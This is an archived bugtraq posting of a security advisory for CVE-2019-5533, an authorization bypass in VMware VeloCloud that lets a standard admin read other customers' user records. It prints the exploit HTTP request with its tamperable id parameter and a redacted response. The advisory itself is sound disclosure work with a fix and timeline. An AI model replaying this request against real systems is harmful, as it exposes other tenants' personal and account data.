bugtraq - CVE-2019-5533 - VMware VeloCloud Authorization Bypass

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Date: Wed, 16 Oct 2019 17:55:37 +0000
From: Advisories <advisories@...pass-security.com>
To: "bugtraq@...urityfocus.com" <bugtraq@...urityfocus.com>
Subject: CVE-2019-5533 - VMware VeloCloud Authorization Bypass

#############################################################
#
# COMPASS SECURITY ADVISORY
# https://www.compass-security.com/research/advisories/
#
#############################################################
#
# Product:                      VeloCloud
# Vendor:                       VMware
# CVE ID:                       CVE-2019-5533
# CSNC ID:                      CSNC-2019-007
# Subject:                      Authorization Bypass
# Risk:                         Moderate
# Effect:                       Remotely exploitable
# CVSS v3.1 Vector:             AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
# Author:                       Silas Bärtsch <silas.baertsch@...pass-security.com>
# Date:                         10.16.2019
#
#############################################################

Introduction:
-------------
VeloCloud [1], now part of VMware, is a SD-WAN market leader.
VMware SD-WAN by VeloCloud is a key component of the Virtual Cloud Network
and tightly integrated with NSX Data Center and NSX Cloud to enable customers
extend consistent networking and security policies from the data center
to the branch to the cloud. Compass Security [2] identified a vulnerability
that allows a VeloCloud standard admin user to access user information
of other VeloCloud customers.

Affected:
---------
Vulnerable:
        3.3.0 and 3.2.2.

Not vulnerable:
        3.3.1

No other version was tested, but it is believed for the older versions to be
vulnerable as well.

Technical Description
---------------------
The standard admin user uses the following HTTP request to retrieve
user information. The request contains the id parameter twice. The server
does not perform any authorization checks on this parameter. Changing
it will return the user details of the corresponding user, even if the
returned user details belong to other VeloCloud customers.

```
POST /portal/ HTTP/1.1
Host: vco109-usca1.velocloud.net
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://vco109-usca1.velocloud.net/
Content-Type: application/json
x-vco-privileges-version: 1560945325637
X-Requested-With: XMLHttpRequest
Content-Length: 90
Cookie: culture=en-US; velocloud.session=[CUT-BY-COMPASS]
Connection: close

{"jsonrpc":"2.0","method":"enterpriseUser/getEnterpriseUser","params":{"id":1},"id":1}
```

The following information is returned.
```
HTTP/1.1 200 OK
Server: nginx
Date: Wed, 19 Jun 2019 13:02:11 GMT
Content-Type: application/json
Content-Length: 569
Connection: close
X-Powered-By: Express
Set-Cookie: velocloud.message=; Path=/; Expires=Thu, 01 Jan 1970 00:00:00 GMT
x-vco-privileges-version: 1560945325637
Cache-Control: no-cache,no-store,must-revalidate
Pragma: no-cache
Expires: 0
Strict-Transport-Security: max-age=31536000; includeSubdomains;
X-Frame-Options: SAMEORIGIN

{"jsonrpc":"2.0","result":
{
"id":[CUT-BY-COMPASS],
"created":"[CUT-BY-COMPASS]",
"userType":"[CUT-BY-COMPASS]",
"username":"[CUT-BY-COMPASS]",
"domain":[CUT-BY-COMPASS],
"password":"*****",
"firstName":[CUT-BY-COMPASS],
"lastName":[CUT-BY-COMPASS],
"officePhone":[CUT-BY-COMPASS],
"mobilePhone":[CUT-BY-COMPASS],
"email":"[CUT-BY-COMPASS]",
"isNative":[CUT-BY-COMPASS],
"isActive":[CUT-BY-COMPASS],
"isLocked":[CUT-BY-COMPASS],
"disableSecondFactor":[CUT-BY-COMPASS],
"lastLogin":"[CUT-BY-COMPASS]",
"modified":"[CUT-BY-COMPASS]",
"passwordModified":"[CUT-BY-COMPASS]",
"enterpriseId":[CUT-BY-COMPASS],
"enterpriseProxyId":[CUT-BY-COMPASS],
"roleId":[CUT-BY-COMPASS],
"roleName":"[CUT-BY-COMPASS]",
"networkId":[CUT-BY-COMPASS],
"isSuper":[CUT-BY-COMPASS]},
"id":[CUT-BY-COMPASS]
}
```

Workaround / Fix:
-----------------
Upgrade to VeloCloud 3.3.1, where the authorization checks are performed correctly.

Timeline:
---------
2019-10-16:     Coordinated public disclosure date
2019-08-26:     Assigned CVE-2019-5533
2019-08-21:     Release of VeloCloud 3.3.1 which includes a fix for the vulnerability
2019-07-02:     Initial vendor response
2019-07-01:     Initial vendor notification
2019-06-27:     Assigned CSNC-2019-007
2019-06-19:     Discovery by Silas Bärtsch

References:
-----------
[1] https://www.velocloud.com
[2] https://compass-security.com